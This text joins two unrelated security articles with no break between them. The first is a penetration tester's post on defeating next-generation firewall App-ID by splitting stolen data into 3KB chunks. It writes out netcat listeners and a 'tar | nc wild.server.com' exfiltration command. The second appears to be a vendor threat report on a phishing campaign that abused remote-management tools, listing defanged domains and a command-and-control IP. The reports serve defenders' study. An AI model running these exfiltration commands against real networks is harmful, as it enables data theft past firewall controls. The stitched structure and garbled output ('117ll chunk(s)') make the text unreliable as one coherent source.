In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, …).

While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this “hole” in the firewall. What I did, I tried to exfiltrate data through this port. It’s easy: Simulate a server controlled by a threat actor:

root@attacker:~# nc -l -p 12345 >/tmp/victim.tgz

And, from a server on the victim’s network:

root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345

It worked but the data transfer failed after approximatively ~5KB of data sent… weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port.

Note: What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any “next-generation” firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use “Application Control”.

App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222).

The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked.

In terms of data volume, there’s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking:

• ~1–5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection)
• ~5–10+ KB: much higher confidence, especially for encrypted or complex applications

That’s why my attempts to exfiltrate data were all blocked after ~5KB.

Can we bypass this? Let’s try the following scenario:

On the external host (managed by me,  the “Threat Actor”), let’s execute a netcat in an infinite loop with a small timeout (because the firewall won’t drop the connection, just block packets:

i=0
while true; do
    filename=$(printf "/tmp/chunk_%04d.bin" "$i")
    nc -l -p 12345 -v -v -w 5 >$filename
    echo "Dumped $filename"
    ((i++))
done

On the victim’s computer, I (vibe-)coded a Python script that will perform the following tasks:

– Read a file

– Split it in chunks of 3KB

– Send everything to a TCP connection (with retries in case of failure of couse)

The code is available on Pastebin[1]. Example:

root@victim:~# sha256sum data.zip
955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  data.zip
root@victim:~# python3 send_file.py data.zip wild.server.com 12345
File: 'data.zip' ((359370 bytes) -> 117ll chunk(s) of up to 3072 bytes.
Destination: wild.server.com:12345  (timeout=5s, max_retries=10)

  Chunk 1/1177 sent successfully (attempt 1).
  Chunk 2/1177 sent successfully (attempt 1).
  Chunk 3/1177 sent successfully (attempt 1).
  Chunk 4/1177 sent successfully (attempt 1).
  Chunk 5/1177 sent successfully (attempt 1).
  Chunk 6/1177 sent successfully (attempt 1).
  Chunk 7/1177 sent successfully (attempt 1).
  Chunk 8/1177 sent successfully (attempt 1).
  Chunk 9/1177 sent successfully (attempt 1).
  Chunk 10/1177 sent successfully (attempt 1).
  Chunk 11/1177 sent successfully (attempt 1).
  Chunk 12/1177 sent successfully (attempt 1).
  [...]

And on the remote side, chunks are created, you just need to rebuild the original file:

root@attacker:~# cat /tmp/chunk_0* >victim.zip
root@attacker:~# sha256sum victim.zip
955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  victim.zip

The file has been successfully exfiltrated! (the SHA256 hashes are identical). Of course, it’s slow but it does not generate peaks of bandwidth that could reveal a huge amount of data being exfiltrated!

This technique worked for me with a file of a few megabytes. It is more a proof-of-concept because firewalls may implement more detection controls. For example, this technique is easy to detect due to the high number of small TCP connections that may look like malware beaconing. It could be also useful to encrypt your data because packets could be flagged by the IDS component of the firewall… 

[1] https://pastebin.com/Ct9ePEiN

Xavier Mertens (@xme)

Xameco

Senior ISC Handler – Freelance Cyber Security Consultant

PGP Key

Sophos’ Managed Detection and Response (MDR) teams reported on a phishing campaign late last year that attempted to trick users into installing LogMeIn Resolve (formerly GoToResolve), a remote monitoring and management (RMM) tool, to acquire remote unattended access. Following further recent research, we’ve identified some interesting aspects of this campaign.

In two cases we observed, the threat actor went a step further after obtaining initial access, using both pre-existing and new installations of the ScreenConnect RMM tool to download further binaries to the affected devices – in one case an infostealer, in the other a further legitimate RMM tool.

The earliest evidence we found of this campaign was from April 2025, although the bulk of malicious activity appeared to occur in October-November 2025. In total, we identified over 80 affected organizations, predominantly located in the US, across multiple sectors.

During our research, we found that other researchers had discovered what seems to be a similar campaign. Our investigation validates and confirms some of those findings.

As of this writing, some of the phishing links we observed during our investigation appear to remain active, suggesting that the campaign may be ongoing.

Sophos tracks this threat activity cluster as STAC6405.

A special invitation

In some cases, users received phishing emails sent from compromised third-party email accounts belonging to known and trusted senders, indicating a possible downstream compromise. In others, the senders were unknown to the recipients.

Many emails were crafted to resemble Punchbowl event invitations, with subject lines like ‘SPECIAL INVITATION.’ Others referred to different kinds of ‘invitation’, such as an invitation to bid for a tender. The emails contained links to binary files hosted on attacker-controlled distribution sites.

Figure 1: An example of one of the malicious lures

These distribution sites hosted legitimate LogMeIn Resolve binaries, preconfigured to register the targeted device to an attacker-owned account. Sophos MDR initially noted separate distribution subdomains utilizing the same domain (‘.ru[.]com’), although the threat actor seems to have since used different domains, such as mastorpasstop[.]top, evitereview[.]de, and evitesecured[.]top (note that some of these domains contain references to ‘evite’, in line with the invite-themed lures).

In some cases, we noted that the threat actor appeared to have made some effort to proactively change the themes and branding of their distribution sites. For example, in January, one distribution URL led to a Microsoft Teams-themed landing page.

However, a subsequent visit to the same domain showed a Norton theme:

Figure 2: A Norton-themed distribution website

We are unsure if this change was simply the result of the threat actor updating their campaign, or based on distinctions between user agent, language/region, or similar.

In their report on a similar (possibly linked) campaign, researchers from Red Canary noted that the threat actor was redirecting users to error pages if their user agent strings did not match Windows or Android operating systems. However, we didn’t see an error message in this case, and we were able to download the RMM tool (in this case, ScreenConnect) on both occasions.

Once the user executed the downloaded binary, the attacker gained unattended remote access to the device via the LogMeIn Resolve platform. This agent installation then wrote a configuration file to disk that stored a hard-coded relay domain, controlled by the attacker.

The agent also registered a Windows service with a unique UID that pertained to the specific configuration file mentioned above, which was stored separately to any pre-existing and benign RMM tooling present.

Examples of RMM installer filenames we observed during our investigations included:

• Invitation.exe
• ContractAgreementToSign.exe
• Diverse-Build-Solution.exe
• invt-list2025.exe
• SPCL_INVITE_RSVP_2025.exe
• statmts_PDF-10.25.exe

Figure 3: Following execution of the downloaded binary, LogMeIn Resolve is installed

In the majority of cases, with the RMM tool downloaded and installed, the attacks appeared to stop there. While we do not have any evidence to suggest any particular motive for this, threat actors will often acquire initial access to a system and then leave, or remain dormant for a period of time, sometimes periodically returning for a brief period to check they can still access the system.

In such cases, threat actors may be waiting to see if their activities have been detected, or to conduct further research; in others, they may be acting as initial access brokers (IABs), attempting to sell the accesses they’ve acquired for profit on criminal marketplaces.

In two incidents we observed, however, the threat actor very quickly proceeded to a second stage, dropping and executing further files on the compromised systems.

An invisible mouse and stolen data

In the first incident, the user downloaded the RMM tool (LogMeIn Resolve) via the attack chain described earlier at 17:38 UTC.

Less than an hour later, the threat actor used a pre-existing installation of ScreenConnect to download a ZIP file (8776_6713_exe.zip).

We do not know why the threat actor opted to use ScreenConnect in this particular case; it is possible that, having performed some basic enumeration of the host, they identified the installation and opted to use it either for ease-of-use, or because they reasoned that ScreenConnect activity would blend in with existing RMM activity and would therefore be less likely to raise suspicion.

The ZIP file, which was packed with the Packer-as-a-Service tool HeartCrypt, contained HideMouse.exe and 8776_6713.exe. The former is a relatively benign utility that saves a copy of the current system cursor, creates a transparent (invisible) cursor, and replaces the default system cursor with the transparent one – likely in an attempt to conceal malicious RMM activity from users. It’s worth noting here that such utilities are not necessarily malicious in themselves; over twenty years ago, developers were creating such tools to hide distracting cursors when playing games.

8776_6713.exe, on the other hand, we assess as malicious. As noted above, this was packed with HeartCrypt, and during the malware development/compilation, the threat actor injected the malicious code into a legitimate binary – a feature of HeartCrypt we’ve reported on before. In this case, looking at embedded PDB debug paths, we assess that the legitimate binary in question was likely a popular video game.

Once executed, 8776_6713.exe sits idle for an extended period of time, typically around four to nine minutes, which is a common tactic employed by malware to evade automated sandboxing and heuristic-based detection mechanisms. This delay was achieved using a set of registers with a large hex value and multiple nested loops, and varies according to the computational resources of the infected device.

After this idle phase, the malware proceeds to inject code into csc.exe, a legitimate Microsoft executable that is a known living-off-the-land binary (LOLbin).

It then proceeds to connect to a suspected command-and-control server at 45[.]56.162.138. Network analysis of this IP address did not reveal active threat intelligence indicators or historical malicious associations at the time of investigation.

The infostealer also contains an encrypted payload, decrypted at runtime using a TripleDES cryptography helper, the behavior of which we assess to be similar to that used by ValleyRAT.

After establishing external connectivity, the malware proceeds with multiple post-compromise actions indicative of information-stealing malware, including:

Data theft capabilities

• Harvesting browser-stored data, including credentials and session artifacts
• Attempted extraction of cryptocurrency wallet data

System reconnaissance

• Enumeration of host system information, including OS and environment details, via WMI.ExecQuery
• Discovery of installed security and antivirus products (these are not hardcoded into the malware, but are enumerated using a WMI query: WMI.ExecQuery(SELECT * FROM AntiVirusProduct). It’s important to note here that while we found some strings referencing the disabling of security products in memory, we did not find any function present in the malware which performs such activity
• Enumeration of available imaging and camera devices (we did not observe any function in the malware that used this information, although such enumeration is typically done to support features such as taking screenshots of targeted users’ desktops).

A bundled RMM

In another incident, the threat actor switched up their approach. Here, rather than LogMeIn Resolve, the downloaded RMM was ScreenConnect, preconfigured to connect out to relay[.]aceheritagehouse[.]top:8041, where it joined an access session as a Guest client. Once connected, it gave the threat actor interactive access to the system.

The downloaded binary – invite.exe in this case – launched the ScreenConnect client as a service, and also started a Java-based remote access payload (RemoteAccess.jar and jwrapper_utils.jar) inside its bundled Java Runtime Environment (JRE). It proceeded to enumerate firewall rules – suggesting it was preparing for network activity – and abused SimpleService.exe (from JWrapper) to register its own service (simplegateway.service) before executing a binary (Remote Access.exe).

This binary, which we assess as being related to SimpleHelp (a legitimate RMM tool), further executed jwrapper.JWrapper with accompanying JAR files (remoteaccess-jar-with-dependencies.jar, jwrapper_utils.jar).

Working with the customer, we were able to contain this incident before the threat actor could take any subsequent actions.

Conclusion

This campaign reflects a growing trend in phishing operations: abuse of trusted third-party relationships and infrastructure to establish initial access, and abusing legitimate tools rather than deploying malware – at least in the early stages.

Much of this campaign remains something of a mystery. As noted, we saw malware infections in only two of the cases we observed, and the disparate nature of those infections – one an infostealer, the other a RAT – could be due to a number of scenarios.

For example, the threat actor may have sold or given away their access to these two systems very quickly, leading to other threat actors with different objectives taking different approaches. Or the threat actor may have been experimenting with their accesses and trying out different tactics on two ‘test’ systems.

As of this writing, some of the campaign infrastructure appears to remain active. We’ll be keeping an eye out for further developments related to this campaign.